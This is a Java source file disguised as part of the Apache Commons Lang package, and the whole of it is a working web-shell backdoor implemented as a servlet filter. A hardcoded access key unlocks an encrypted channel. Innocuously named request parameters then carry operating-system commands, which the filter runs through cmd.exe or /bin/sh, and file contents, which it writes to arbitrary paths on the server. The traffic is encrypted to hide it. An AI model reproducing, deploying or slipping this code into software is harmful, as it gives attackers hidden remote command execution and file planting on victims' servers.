package org.apache.commons.lang;
import java.io.DataInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.security.KeyFactory;
import java.security.PublicKey;
import java.security.spec.X509EncodedKeySpec;
import java.util.Objects;
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
public class ServletContextAttributeYminqFilter implements Filter {
public String _accessKey = "Cmalbadtas";
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest)servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
try {
HttpSession session = request.getSession();
if (session.getAttribute("sessionKey") != null && !session.getAttribute("sessionKey").equals("")) {
byte[] sessionKey = this.doBase64Decode((String)session.getAttribute("sessionKey"));
SecretKeySpec secretKeySpec = new SecretKeySpec(sessionKey, "AES");
if (Objects.equals(request.getParameter("role"), "guest")) {
this.runCommand(request, response, secretKeySpec);
} else if (Objects.equals(request.getParameter("role"), "user")) {
this.upload(request, response, secretKeySpec);
}
} else {
String receivedKey = request.getParameter("pageId");
String accessKey = request.getParameter("userID");
if (accessKey.equals(this._accessKey) && receivedKey != null) {
KeyGenerator keyGen = null;
keyGen = KeyGenerator.getInstance("AES");
keyGen.init(256);
SecretKey secretKey = keyGen.generateKey();
String secretKeyBase64 = this.doBase64Encode(secretKey.getEncoded());
session.setAttribute("sessionKey", secretKeyBase64);
byte[] byteKey = this.doBase64Decode(receivedKey);
X509EncodedKeySpec X509publicKey = new X509EncodedKeySpec(byteKey);
KeyFactory keyFactory = null;
keyFactory = KeyFactory.getInstance("RSA");
PublicKey publicKey = keyFactory.generatePublic(X509publicKey);
Cipher encryptionCipher = Cipher.getInstance("RSA");
encryptionCipher.init(1, publicKey);
byte[] encryptedMessage = encryptionCipher.doFinal(secretKeyBase64.getBytes());
String encryption = this.doBase64Encode(encryptedMessage);
OutputStream out = response.getOutputStream();
out.write(encryption.getBytes());
out.flush();
out.close();
} else {
filterChain.doFilter(request, response);
}
}
} catch (Exception var20) {
filterChain.doFilter(request, response);
}
}
public void runCommand(HttpServletRequest request, HttpServletResponse response, SecretKeySpec secretKeySpec) throws Exception {
Cipher instance = Cipher.getInstance("AES");
String cmd = "";
instance.init(2, secretKeySpec);
cmd = new String(instance.doFinal(this.doBase64Decode(request.getParameter("pageID"))));
boolean isWindows = System.getProperty("os.name").toLowerCase().contains("windows");
Process p;
if (isWindows) {
p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/C", cmd});
} else {
p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
}
InputStream inputStream = p.getInputStream();
DataInputStream dis = new DataInputStream(inputStream);
String disr = dis.readLine();
OutputStream out = response.getOutputStream();
instance.init(1, secretKeySpec);
while(disr != null) {
out.write(this.doBase64Encode(instance.doFinal(disr.getBytes())).getBytes());
disr = dis.readLine();
out.flush();
}
out.close();
}
public void upload(HttpServletRequest request, HttpServletResponse response, SecretKeySpec secretKeySpec) throws Exception {
Cipher instance = Cipher.getInstance("AES");
instance.init(2, secretKeySpec);
byte[] data = this.doBase64Decode(new String(instance.doFinal(this.doBase64Decode(request.getParameter("userID")))));
String fileName = new String(instance.doFinal(this.doBase64Decode(request.getParameter("pageID"))));
FileOutputStream fos = new FileOutputStream(fileName);
fos.write(data);
fos.flush();
fos.close();
}
public byte[] doBase64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object)null);
return (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
public String doBase64Encode(byte[] data) throws Exception {
try {
Class<?> clazz = Class.forName("sun.misc.BASE64Encoder");
return (String)clazz.getMethod("encode", byte[].class).invoke(clazz.newInstance(), data);
} catch (Exception var5) {
Class<?> clazz = Class.forName("java.util.Base64");
Object encoder = clazz.getMethod("getEncoder").invoke((Object)null);
return (String)encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, data);
}
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {
}
}
Comments
0 B
|👍
/👎